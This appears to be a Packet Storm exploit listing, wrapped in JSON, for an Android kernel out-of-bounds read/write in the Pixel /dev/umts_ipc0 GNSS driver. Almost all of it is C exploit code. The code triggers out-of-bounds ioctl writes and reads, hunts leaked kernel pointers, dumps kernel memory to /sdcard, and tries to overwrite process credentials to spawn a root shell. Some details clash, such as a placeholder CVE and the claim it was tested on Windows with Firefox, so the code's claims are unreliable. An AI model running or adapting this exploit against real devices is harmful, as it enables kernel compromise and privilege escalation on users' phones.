{“lastseen”:”2026-06-20T03:57:33″,”description”:”Proof of concept exploit targeting a vulnerability in an Android kernel driver related to GNSS\/UMTS IPC \/dev\/umtsipc0…”,”published”:”2026-06-19T00:00:00″,”modified”:”2026-06-19T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Android Kernel \/dev\/umts_ipc0 Out-Of-Bounds Read \/ Write”,”source”:””,”references”:””,”id”:”PACKETSTORM:223848″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”==================================================================================================================================\\n | # Title : Android Kernel Exploit OOB Read\/Write via \/dev\/umts_ipc0 |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits) |\\n | # Vendor : Google Pixel CPIF Driver |\\n ==================================================================================================================================\\n \\n [+] Summary : exploit targeting a suspected vulnerability in an Android kernel driver related to GNSS\/UMTS IPC (\/dev\/umts_ipc0). \\n It attempts to abuse out-of-bounds (OOB) read and write conditions through ioctl interfaces (IOCTL_LOAD_GNSS_IMAGE and IOCTL_READ_GNSS_IMAGE).\\n \\n [+] Payload : \\n \\n #define _GNU_SOURCE\\n #include \\u003cstdio.h\\u003e\\n #include \\u003cstdlib.h\\u003e\\n #include \\u003cstring.h\\u003e\\n #include \\u003cunistd.h\\u003e\\n #include \\u003cfcntl.h\\u003e\\n #include \\u003csys\/ioctl.h\\u003e\\n #include \\u003csys\/mman.h\\u003e\\n #include \\u003csys\/socket.h\\u003e\\n #include \\u003cerrno.h\\u003e\\n #include \\u003cstdint.h\\u003e\\n #include \\u003cinttypes.h\\u003e\\n #include \\u003csignal.h\\u003e\\n #include \\u003csetjmp.h\\u003e\\n \\n #define UMTS_IPC0_DEVICE \\”\/dev\/umts_ipc0\\”\\n #define IOCTL_LOAD_GNSS_IMAGE 0xC0204901\\n #define IOCTL_READ_GNSS_IMAGE 0xC0204902\\n struct gnss_image {\\n uint64_t offset;\\n uint64_t firmware_size;\\n void *firmware_bin;\\n };\\n struct gnss_image_read {\\n uint64_t offset;\\n uint64_t size;\\n void *buffer;\\n };\\n \\n #define GNSS_V_BASE 0xffffffc091e00000ULL\\n #define GNSS_BUFFER_SIZE 0x00100000\\n #define CURRENT_TASK_OFFSET 0x0004f000 \\n #define RADIO_GID 1001\\n static int fd;\\n static sigjmp_buf jmpbuf;\\n static volatile int fault_triggered = 0;\\n static void sigsegv_handler(int sig) {\\n printf(\\”[!] Segmentation fault caught\\\\n\\”);\\n fault_triggered = 1;\\n siglongjmp(jmpbuf, 1);\\n }\\n static void init_signals(void) {\\n struct sigaction sa;\\n memset(\\u0026sa, 0, sizeof(sa));\\n sa.sa_handler = sigsegv_handler;\\n sigaction(SIGSEGV, \\u0026sa, NULL);\\n sigaction(SIGBUS, \\u0026sa, NULL);\\n }\\n static int check_privileges(void) {\\n uid_t uid = getuid();\\n gid_t gid = getgid();\\n printf(\\”[*] Current UID: %d, GID: %d\\\\n\\”, uid, gid);\\n printf(\\”[*] Effective UID: %d, GID: %d\\\\n\\”, geteuid(), getegid());\\n \\n if (uid == 0) {\\n printf(\\”[!] Already root!\\\\n\\”);\\n return 1;\\n }\\n if (gid == RADIO_GID || getegid() == RADIO_GID) {\\n printf(\\”[+] Running in radio context (u:r:radio:s0)\\\\n\\”);\\n return 1;\\n }\\n printf(\\”[-] Not in radio context.\\\\n\\”);\\n printf(\\”[*] Try: su -c ‘chown radio:radio %s’\\\\n\\”, __FILE__);\\n return 0;\\n }\\n static int trigger_oob_write(uint64_t offset, uint64_t size, void *data) {\\n struct gnss_image img;\\n int ret;\\n printf(\\”[*] Triggering OOB write:\\\\n\\”);\\n printf(\\” Offset: 0x%llx\\\\n\\”, offset);\\n printf(\\” Size: 0x%llx (%llu bytes)\\\\n\\”, size, size);\\n memset(\\u0026img, 0, sizeof(img));\\n img.offset = offset;\\n img.firmware_size = size;\\n img.firmware_bin = data;\\n if (sigsetjmp(jmpbuf, 1) == 0) {\\n ret = ioctl(fd, IOCTL_LOAD_GNSS_IMAGE, \\u0026img);\\n if (ret \\u003c 0) {\\n perror(\\”ioctl(LOAD_GNSS_IMAGE)\\”);\\n return -1;\\n }\\n } else {\\n printf(\\”[!] Fault triggered during OOB write\\\\n\\”);\\n return -1;\\n }\\n return ret;\\n }\\n static int trigger_oob_read(uint64_t offset, uint64_t size, void *buffer) {\\n struct gnss_image_read img_read;\\n int ret;\\n printf(\\”[*] Triggering OOB read:\\\\n\\”);\\n printf(\\” Offset: 0x%llx\\\\n\\”, offset);\\n printf(\\” Size: 0x%llx (%llu bytes)\\\\n\\”, size, size);\\n memset(\\u0026img_read, 0, sizeof(img_read));\\n img_read.offset = offset;\\n img_read.size = size;\\n img_read.buffer = buffer;\\n if (sigsetjmp(jmpbuf, 1) == 0) {\\n ret = ioctl(fd, IOCTL_READ_GNSS_IMAGE, \\u0026img_read);\\n if (ret \\u003c 0) {\\n perror(\\”ioctl(READ_GNSS_IMAGE)\\”);\\n return -1;\\n }\\n } else {\\n printf(\\”[!] Fault triggered during OOB read\\\\n\\”);\\n return -1;\\n }\\n return ret;\\n }\\n static void exploit_oob_write(void) {\\n const size_t payload_size = 0x1000;\\n void *payload;\\n int ret;\\n printf(\\”\\\\n[!] Starting OOB write exploit…\\\\n\\”);\\n payload = mmap(NULL, payload_size, PROT_READ | PROT_WRITE,\\n MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\\n if (payload == MAP_FAILED) {\\n perror(\\”mmap\\”);\\n return;\\n }\\n printf(\\”[*] Crafting payload with pattern 0x41414141…\\\\n\\”);\\n uint64_t *p = (uint64_t *)payload;\\n for (size_t i = 0; i \\u003c payload_size \/ sizeof(uint64_t); i++) {\\n p[i] = 0x4141414141414141ULL | (i \\u0026 0xFFFF);\\n }\\n uint64_t offsets[] = {\\n 0x0000, \/\/ Beginning of buffer\\n 0x4f000, \/\/ Known vulnerable offset from panic\\n 0x100000, \/\/ End of buffer\\n 0x200000, \/\/ Beyond buffer\\n };\\n for (size_t i = 0; i \\u003c sizeof(offsets)\/sizeof(offsets[0]); i++) {\\n printf(\\”\\\\n[*] Attempt %zu: offset 0x%llx\\\\n\\”, i+1, offsets[i]);\\n ret = trigger_oob_write(offsets[i], payload_size, payload);\\n if (ret == 0) {\\n printf(\\”[+] OOB write succeeded at offset 0x%llx\\\\n\\”, offsets[i]);\\n printf(\\”[*] Checking for system impact…\\\\n\\”);\\n break;\\n }\\n }\\n munmap(payload, payload_size);\\n }\\n static void exploit_oob_read(void) {\\n const size_t read_size = 0x1000;\\n void *buffer;\\n int ret;\\n printf(\\”\\\\n[!] Starting OOB read exploit…\\\\n\\”);\\n buffer = malloc(read_size);\\n if (!buffer) {\\n perror(\\”malloc\\”);\\n return;\\n }\\n uint64_t offsets[] = {\\n 0x0000, \\n 0x4f000, \\n 0x80000, \\n 0xff000, \\n };\\n for (size_t i = 0; i \\u003c sizeof(offsets)\/sizeof(offsets[0]); i++) {\\n printf(\\”\\\\n[*] Attempt %zu: reading at offset 0x%llx\\\\n\\”, i+1, offsets[i]);\\n memset(buffer, 0, read_size);\\n ret = trigger_oob_read(offsets[i], read_size, buffer);\\n if (ret == 0) {\\n printf(\\”[+] OOB read succeeded at offset 0x%llx\\\\n\\”, offsets[i]);\\n printf(\\”[*] First 64 bytes of leaked data:\\\\n\\”);\\n for (size_t j = 0; j \\u003c 64 \\u0026\\u0026 j \\u003c read_size; j++) {\\n printf(\\”%02x \\”, ((uint8_t *)buffer)[j]);\\n if ((j + 1) % 16 == 0) printf(\\”\\\\n\\”);\\n }\\n printf(\\”\\\\n\\”);\\n uint64_t *ptr_data = (uint64_t *)buffer;\\n int found = 0;\\n for (size_t j = 0; j \\u003c read_size \/ sizeof(uint64_t); j++) {\\n uint64_t val = ptr_data[j];\\n if (val \\u003e 0xffffff8000000000ULL \\u0026\\u0026 val \\u003c 0xffffffc000000000ULL) {\\n printf(\\”[+] Found kernel pointer at offset 0x%zx: 0x%016llx\\\\n\\”,\\n j * sizeof(uint64_t), val);\\n found++;\\n }\\n }\\n if (!found) {\\n printf(\\”[*] No kernel pointers found in this range\\\\n\\”);\\n }\\n }\\n }\\n free(buffer);\\n }\\n static void exploit_escalate(void) {\\n const size_t payload_size = 0x1000;\\n void *payload;\\n printf(\\”\\\\n[!] Attempting privilege escalation…\\\\n\\”);\\n payload = mmap(NULL, payload_size, PROT_READ | PROT_WRITE,\\n MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\\n if (payload == MAP_FAILED) {\\n perror(\\”mmap\\”);\\n return;\\n }\\n struct {\\n uint64_t uid;\\n uint64_t gid;\\n uint64_t euid;\\n uint64_t egid;\\n uint64_t suid;\\n uint64_t sgid;\\n } *creds = (void *)payload;\\n creds-\\u003euid = 0;\\n creds-\\u003egid = 0;\\n creds-\\u003eeuid = 0;\\n creds-\\u003eegid = 0;\\n creds-\\u003esuid = 0;\\n creds-\\u003esgid = 0;\\n printf(\\”[*] Attempting to overwrite credentials at offset 0x%llx\\\\n\\”,\\n CURRENT_TASK_OFFSET);\\n trigger_oob_write(CURRENT_TASK_OFFSET, payload_size, payload);\\n if (getuid() == 0) {\\n printf(\\”[+] SUCCESS! Got root!\\\\n\\”);\\n printf(\\”[*] Spawning root shell…\\\\n\\”);\\n system(\\”\/system\/bin\/sh\\”);\\n } else {\\n printf(\\”[-] Escalation failed. Still UID: %d\\\\n\\”, getuid());\\n }\\n munmap(payload, payload_size);\\n }\\n static void dump_kernel_range(uint64_t start, size_t size) {\\n void *buffer = malloc(size);\\n if (!buffer) {\\n perror(\\”malloc\\”);\\n return;\\n }\\n printf(\\”[*] Dumping kernel memory from 0x%llx, size 0x%zx\\\\n\\”, start, size);\\n if (trigger_oob_read(start, size, buffer) == 0) {\\n printf(\\”[+] Dump successful\\\\n\\”);\\n \\n \/* Save to file *\/\\n FILE *f = fopen(\\”\/sdcard\/kernel_dump.bin\\”, \\”wb\\”);\\n if (f) {\\n fwrite(buffer, 1, size, f);\\n fclose(f);\\n printf(\\”[+] Saved to \/sdcard\/kernel_dump.bin\\\\n\\”);\\n }\\n }\\n \\n free(buffer);\\n }\\n int main(int argc, char **argv) {\\n int mode = 0; \/\/ 0 = write, 1 = read, 2 = escalate, 3 = dump\\n printf(\\”=========================================\\\\n\\”);\\n printf(\\”Android Kernel Exploit – CVE-2026-XXXXX\\\\n\\”);\\n printf(\\”Google Pixel \/dev\/umts_ipc0\\\\n\\”);\\n printf(\\”Credit: Jann Horn, Seth Jenkins\\\\n\\”);\\n printf(\\”=========================================\\\\n\\\\n\\”);\\n \/* Parse arguments *\/\\n if (argc \\u003e 1) {\\n if (strcmp(argv[1], \\”write\\”) == 0) mode = 0;\\n else if (strcmp(argv[1], \\”read\\”) == 0) mode = 1;\\n else if (strcmp(argv[1], \\”escalate\\”) == 0) mode = 2;\\n else if (strcmp(argv[1], \\”dump\\”) == 0) mode = 3;\\n else {\\n printf(\\”Usage: %s [write|read|escalate|dump]\\\\n\\”, argv[0]);\\n return 1;\\n }\\n }\\n if (!check_privileges()) {\\n printf(\\”[-] Need radio context to exploit\\\\n\\”);\\n return 1;\\n }\\n fd = open(UMTS_IPC0_DEVICE, O_RDWR);\\n if (fd \\u003c 0) {\\n perror(\\”open(\/dev\/umts_ipc0)\\”);\\n return 1;\\n }\\n printf(\\”[+] Device opened successfully (fd=%d)\\\\n\\”, fd);\\n init_signals();\\n switch (mode) {\\n case 0:\\n exploit_oob_write();\\n break;\\n case 1:\\n exploit_oob_read();\\n break;\\n case 2:\\n exploit_escalate();\\n break;\\n case 3:\\n dump_kernel_range(GNSS_V_BASE, GNSS_BUFFER_SIZE * 2);\\n break;\\n default:\\n printf(\\”[*] Running both OOB write and read…\\\\n\\”);\\n exploit_oob_write();\\n exploit_oob_read();\\n }\\n close(fd);\\n printf(\\”\\\\n[+] Exploit complete\\\\n\\”);\\n \\n return 0;\\n }\\n \\t\\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223848″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223848\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-20T03:57:33″,”description”:”Proof of concept exploit targeting a vulnerability in an Android kernel driver related to GNSS\/UMTS IPC \/dev\/umtsipc0…”,”published”:”2026-06-19T00:00:00″,”modified”:”2026-06-19T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Android Kernel \/dev\/umts_ipc0 Out-Of-Bounds Read \/ Write”,”source”:””,”references”:””,”id”:”PACKETSTORM:223848″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”==================================================================================================================================\\n |…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-64501","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n